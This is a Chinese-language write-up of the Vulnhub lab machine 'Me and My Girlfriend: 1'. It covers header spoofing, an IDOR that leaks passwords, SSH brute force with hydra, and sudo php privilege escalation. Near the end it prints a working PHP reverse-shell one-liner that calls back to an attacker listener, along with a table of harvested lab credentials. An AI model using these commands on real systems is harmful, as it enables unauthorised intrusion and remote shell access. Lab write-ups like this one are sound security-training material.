Vulnhub靶机：ME AND MY GIRLFRIEND_ 1

介绍

系列：Me and My Girlfriend（此系列仅此一台）
发布日期： 2019年12月13日
难度： 初级
Flag : 2个
学习：BurpSuite在水平越权中的应用、SUID提权
靶机地址：https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

信息收集

主机发现

nmap -sn 192.168.40.0/24

主机信息探测

信息探测：nmap -A -p- 192.168.40.147，开放了22、80端口。

网站探测

提示我们只能本地访问这个站点

解决办法1：使用插件 X-Forwarded-For Header
刷新网页，会进入到下图中的网站

解决办法2：使用BurpSuite
让每一个流经bp的流量，都添加请求头：X-Forwarded-For: localhost

我这里出了点bug，明明已经移除了插件 X-Forwarded-For Header，并且清空浏览器缓存了，bp抓包中不仅出现了插件中的“X-Forwarded-For: 127.0.0.1”，还出现了bp的“X-Forwarded-For: localhost”，既然如此，我就手动移除刚才设置的bp请求头好了。

打开的网站如下，发现可以注册账号，注册之后的url地址有点引人注目

sql注入-失败

没有单引号报错

额，还是寄出sqlmap试试吧

python .\sqlmap.py -u "http://192.168.40.147/index.php?page=profile&user_id=12" -p user_id --headers "X-Forwarded-For: 127.0.0.1"

没有测试出来什么东西。

水平越权-成功

测试修改id值，页面的内容也发生了变化。这个靶场，还真是简单，剩下的八成就是测试出所有的账号密码，然后ssh爆破了。

获取到所有账号密码

直接使用bp爆破，不过需要添加一个过滤器，筛选一下结果。分别筛选出用户名和密码

开始爆破，并导出结果

得到：

用户名	密码
eweuhtandingan	skuyatuh
aingmaung	qwerty!!!
sundatea	indONEsia
sedihaingmah	cedihhihihi
alice	4lic3
abdikasepak	dorrrrr
superman	123456

SSH爆破

由于用户名和密码是对应好的关系，因此hydra中可以使用-C参数来爆破比较好。

SSH登录

Flag1

倒数第三行，得到提示，需要提权得到root家目录里面的另一个flag

提权拿到Flag2

寻找sudo权限，我发现Alice可以在没有root密码的情况下使用sudo运行php命令。我一般是使用php反弹shell，这里发现老外用的是别的方法，顺带着介绍一下。

方法1：php命令执行

我创建了一个变量并添加了 shell 名称 /bin/bash，我们的下一步是使用 sudo /usr/bin/php/php 执行变量命令。

方法2：php反弹shell

kali开启nc监听
nc -lnvp 4444

靶机反弹shell
sudo php -r '$sock=fsockopen("192.168.40.129",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

参考

Me and My Girlfriend: 1 vulnhub walkthrough